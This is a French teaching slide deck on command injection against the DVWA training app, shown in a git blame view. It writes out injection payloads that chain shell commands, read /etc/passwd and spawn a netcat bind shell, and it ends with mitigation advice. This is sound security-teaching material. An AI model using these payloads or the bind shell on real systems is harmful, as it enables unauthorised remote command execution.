cmdi.md 4.1 KB
Newer Older
Vincent Mazenod's avatar
websec    
Vincent Mazenod committed
1
2
3
4
# Command execution

## aka [command injection](https://www.owasp.org/index.php/Command_Injection)

5
6
7

### [security low](http://dv.wa/vulnerabilities/exec/)

Vincent Mazenod's avatar
websec    
Vincent Mazenod committed
8
* exécution de commandes arbitraires sur le serveur
9
10
11
* triviale mais assez rare


Vincent Mazenod's avatar
websec    
Vincent Mazenod committed
12
### [security low](http://dv.wa/vulnerabilities/exec/)
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44

* paramètre non filtré
  * la commande est écrite en dur
    * **&&**, **|** ou **;** permettent d'entamer une chaine d'instructions
      * exécutée avec les droits du serveur (thread)

```shell
localhost && ls
localhost; whoami
localhost| id
```

* le réseau est également explorable

Note:
- dvwa à brutforcer
    - non y a le cookie qui coince :/
        - admin:password
        - https://securenetworkmanagement.com/dvwa-and-hydra-login-dvwa-part-1/
- il faut injecter des commandes que le server connait
    - win/unix/linux/bsd/solarix/aix
        - pool de commandes par défaut
- l'enchainement d'exlpoits est laisser à l'imagination du pentester
    - plus il est expérimenté plus il peut créer des attques complexes
        - plus il peut aller loin dans l'exploitation
- Regarder le code
    - Que peut on faire pour améliorer
        - DVWA Security -> medium


### [security medium](http://dv.wa/vulnerabilities/exec/)

Vincent Mazenod's avatar
websec    
Vincent Mazenod committed
45
les chaînes de caractères "&&" et ";" sont interdites
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108

```shell
# Pour y voir plus clair
1 | ls
# Plus intéressant
1 | pwd & whoami & ps
1 | uname -a & users & id & w
1 | cat /etc/group
1 | cat /etc/passwd
```

Note:
- approche liste noire toujours perdante
    - liste de caractère à échapper
- résultat visible
    - affiché dans la page
        - méga rare
- aveugle
    - certaines pas faciles à détecter
        - adduser / mkdir lors de la création de compte
            - un username se terminant par
                - ;cmd
    - ping réseau
        - on sait si ca a marcher avec le temps d'exécution du ping
            - si ca rame au chargement de la page
                - c'est que le ping est en train de s'exécuter à l'infini
        - sinon sniffer le ping de retour
            - si pas bloqué
        - ping -c3 127.0.0.1 pour mémoire
    - résolution dns d'un domaine maitrisé connu de nous seul
- Regarder le code
    - Que peut on faire pour amliorer
        - DVWA Security -> high


### [security high](http://dv.wa/vulnerabilities/exec/)

* l'approche est ici différente
    * on ne cherche plus à éliminer les caractères dangereux
    * on cherche à valider que l'entrée est bien une IP

```shell
$valid = preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\z/', $string);
```

Note:
-détailler l'expression régulière


## bind shell

* injecter

```shell
1 | netcat -v -e '/bin/bash' -l -p 1337
```

* puis sur le terminal de l'attaquant

```shell
netcat -v dv.wa 1337
```

Vincent Mazenod's avatar
websec    
Vincent Mazenod committed
109
110
* \o/ nous disposons d'un accès distant à la machine
  * avec les permissions de l'utilisateur www-data
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141

Note:
- revenir en medium ou low security
    - on peut le faire avec cookie manager +
- netcat couteau suisse réseau
    - permet d'écrire sur un port
- soumis a pas mal de condition en vérité
    - marche que dans un sens
        - DMZ coupe tout le sortant
        - reste possible dans ce sens
        - mais faut passer d'eventuels friewalls
        - et netcat peu avoir été supprimé


## <i class="fa fa-medkit"></i> Se préserver

* éviter les commandes [exec](http://php.net/manual/fr/function.exec.php), [shell_exec](http://php.net/manual/fr/function.shell-exec.php), [passtru](http://php.net/manual/fr/function.passthru.php)  ou [system](http://php.net/manual/fr/function.system.php)
* utiliser shell_escape_args() en php
* utliser JSON.parse plutot qu'un eval() de JSON
* utiliser des lib spéacilisées
  * [<i class="fa fa-github"></i> symfony/Filesystem](https://github.com/symfony/Filesystem)
  * [<i class="fa fa-github"></i> symfony/Finder](https://github.com/symfony/Finder)

Note:
- faire marcher le bon sens
- Note le cron de drupal est pourri parce qu'appelable via des url
    - utiliser le cron system


## <i class="fa fa-medkit"></i> Se préserver

Vincent Mazenod's avatar
websec    
Vincent Mazenod committed
142
143
144
* utiliser des listes blanches plutôt que des listes noires
* utiliser cron pour les traitements récurrents
* ne pas installer `netccat` ...